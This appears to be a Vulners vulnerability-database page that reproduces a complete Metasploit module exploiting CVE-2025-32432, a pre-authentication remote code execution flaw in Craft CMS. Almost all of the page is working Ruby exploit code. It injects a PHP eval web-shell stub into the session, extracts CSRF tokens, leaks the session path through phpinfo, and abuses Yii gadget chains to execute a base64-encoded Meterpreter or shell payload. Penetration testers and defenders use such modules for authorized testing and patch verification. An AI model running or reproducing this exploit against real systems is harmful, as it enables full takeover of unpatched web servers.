Lucene search
K

Craft CMS Image Transform Preauth RCE (CVE-2025-32432)

🗓️ 01 May 2025 18:50:57Reported by Nicolas Bourras (Orange Cyberdefense), Valentin LobsteinType 
metasploit
 metasploit
🔗 www.rapid7.com👁 645 Views

This module exploits an unauthenticated remote code execution vulnerabilityin Craft CMS versions 3.x, 4.x, and 5.x use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 msf exploit(craftcms_preauth_rce_cve_2025_32432) > show targets ...ta...

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Payload::Php
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Craft CMS Image Transform Preauth RCE (CVE-2025-32432)',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution vulnerability
          in Craft CMS versions 3.x, 4.x, and 5.x < 5.6.17 via the image transform endpoint.
          It injects a PHP Meterpreter payload into the Craft session, then triggers its execution
          by abusing the Yii behavior gadget chain (PhpManager) on the generate-transform endpoint.
          Discovered in the wild by Orange Cyberdefense CSIRT and assigned CVE-2025-32432.
        },
        'Author' => [
          'Nicolas Bourras (Orange Cyberdefense)', # Research + PoC
          'Valentin Lobstein'                      # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2025-32432' ],
          [ 'EDB', '52525' ],
          [ 'URL', 'https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/' ],
          [ 'URL', 'https://blog.onyphe.io/en/cve-2025-32432-0day-craft-cms-discovered-by-orange-cyberdefense/' ]
        ],
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %(unix linux),
              'Arch' => ARCH_CMD
            }
          ],
        ],
        'Privileged' => false,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DisclosureDate' => '2025-04-14',
        'DefaultTarget' => 0
      )
    )

    register_options([
      OptInt.new('ASSET_ID', [true, 'Existing asset ID', Rex::Text.rand_text_numeric(2..3)])
    ])
  end

  def execute_via_session(payload)
    session_id, csrf, param_name = fetch_cookies_and_csrf
    return nil unless csrf

    vprint_status("Session ID: #{session_id} – stub injected under param #{param_name}")

    session_dir = @session_path || '/var/lib/php/sessions'
    session_file = normalize_uri(session_dir, "sess_#{session_id}")

    body = {
      assetId: datastore['ASSET_ID'],
      handle: {
        width: Rex::Text.rand_text_numeric(1..5),
        height: Rex::Text.rand_text_numeric(1..5),
        "as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
          class: 'craft\\behaviors\\FieldLayoutBehavior',
          __class: 'yii\\rbac\\PhpManager',
          '__construct()' => [
            { itemFile: session_file }
          ]
        }
      }
    }.to_json

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => {
        'p' => 'actions/assets/generate-transform',
        param_name => payload
      },
      'headers' => { 'X-CSRF-Token' => csrf },
      'ctype' => 'application/json',
      'data' => body,
      'keep_cookies' => true
    )
  end

  def fetch_cookies_and_csrf
    param_name = Rex::Text.rand_text_alphanumeric(5..12)
    static_stub = "<?=eval($_GET['#{param_name}']);die()?>"

    params = {
      'p' => 'admin/dashboard',
      param_name => static_stub
    }

    cookie_jar.clear
    res = send_request_cgi(
      'method' => 'GET',
      'uri_encode_mode' => 'none',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => params
    )
    return nil unless res

    session_id = res.get_cookies[/CraftSessionId=([^;]+)/, 1]
    return nil if session_id.to_s.empty?

    if res.code == 302 && res.headers['Location']
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => res.headers['Location'],
        'keep_cookies' => true
      )
    end

    csrf = extract_csrf_token(res)
    return nil unless csrf

    [session_id, csrf, param_name]
  end

  def extract_csrf_token(res)
    doc = res.get_html_document
    token = doc.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
    return token unless token.to_s.empty?

    vprint_status('CSRF not found in dashboard, falling back to root')
    res2 = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true
    )
    res2&.get_html_document&.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
  end

  def leak_session_path(csrf)
    res = send_transform(csrf, datastore['ASSET_ID'], 'phpinfo')
    return nil unless res&.body

    doc = res.get_html_document

    path = doc.at_xpath(
      "//tr[td[@class='e' and normalize-space(text())='session.save_path']]/td[@class='v']"
    )&.text

    path ||= doc.at_xpath(
      "//h2[normalize-space(text())='Session Save Path']/following-sibling::p[1]"
    )&.text

    path&.strip
  end

  def send_transform(csrf, asset_id, php_string)
    json_data = {
      'assetId' => asset_id,
      'handle' => {
        'width' => Rex::Text.rand_text_numeric(1..5),
        'height' => Rex::Text.rand_text_numeric(1..5),
        "as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
          'class' => 'craft\\behaviors\\FieldLayoutBehavior',
          '__class' => 'GuzzleHttp\\Psr7\\FnStream',
          '__construct()' => [[]],
          '_fn_close' => php_string
        }
      }
    }.to_json

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => { 'p' => 'admin/actions/assets/generate-transform' },
      'ctype' => 'application/json',
      'headers' => { 'X-CSRF-Token' => csrf },
      'data' => json_data
    )
  end

  def check
    _, csrf, = fetch_cookies_and_csrf
    return CheckCode::Unknown('Could not retrieve session & CSRF') unless csrf

    if (path = leak_session_path(csrf))
      @session_path = path
      print_good("Leaked session.save_path: #{@session_path}")
      return CheckCode::Vulnerable('Session path leaked')
    end

    a = Rex::Text.rand_text_numeric(4).to_i
    b = Rex::Text.rand_text_numeric(4).to_i

    expr = "#{a}+#{b}"
    sum = a + b
    print_status("Checking RCE: #{expr}")

    payload = "print_r(#{expr});"
    res = execute_via_session(payload)
    return CheckCode::Unknown('No response') unless res

    if res.body.include?(sum.to_s)
      CheckCode::Vulnerable("Detected RCE: send #{a}+#{b}, got #{sum}!")
    else
      CheckCode::Safe('Unable to exercise code execution.')
    end
  end

  def exploit
    raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    b64 = Rex::Text.encode_base64(raw)

    payload_code = "eval(base64_decode('#{b64}'));"

    print_status('Injecting stub & triggering payload...')
    execute_via_session(payload_code)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 19:05Current
8.8High risk
Vulners AI Score8.8
CVSS 3.110
EPSS0.99803
SSVC
645